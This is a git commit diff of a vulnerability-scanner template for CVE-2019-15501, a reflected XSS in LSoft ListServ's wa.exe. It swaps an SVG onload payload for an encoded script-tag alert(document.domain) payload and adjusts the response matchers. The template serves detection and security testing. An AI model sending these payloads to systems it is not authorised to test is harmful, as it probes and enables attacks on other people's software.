Update CVE-2019-15501.yaml

patch-1
Prince Chaddha 2021-08-24 17:07:33 +05:30 committed by GitHub
parent ae800b1ab1
commit d9cdbb4e97
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 14 additions and 6 deletions

View File

@ -4,21 +4,29 @@ info:
name: LSoft ListServ - XSS
author: Borna Nematzadeh
severity: medium
refrense: https://www.exploit-db.com/exploits/47302
tags: cve,xss
reference: |
- https://www.exploit-db.com/exploits/47302
- http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501
tags: cve,cve2019,xss
requests:
- method: GET
path:
- '{{BaseURL}}/scripts/wa.exe?OK=<svg/onload=alert(document.domain)>'
- '{{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- '<svg/onload=alert(document.domain)>'
- '</script><script>alert(document.domain)</script>'
part: body
- type: word
words:
- "text/html"
part: header
words:
- text/html
- type: status
status:
- 200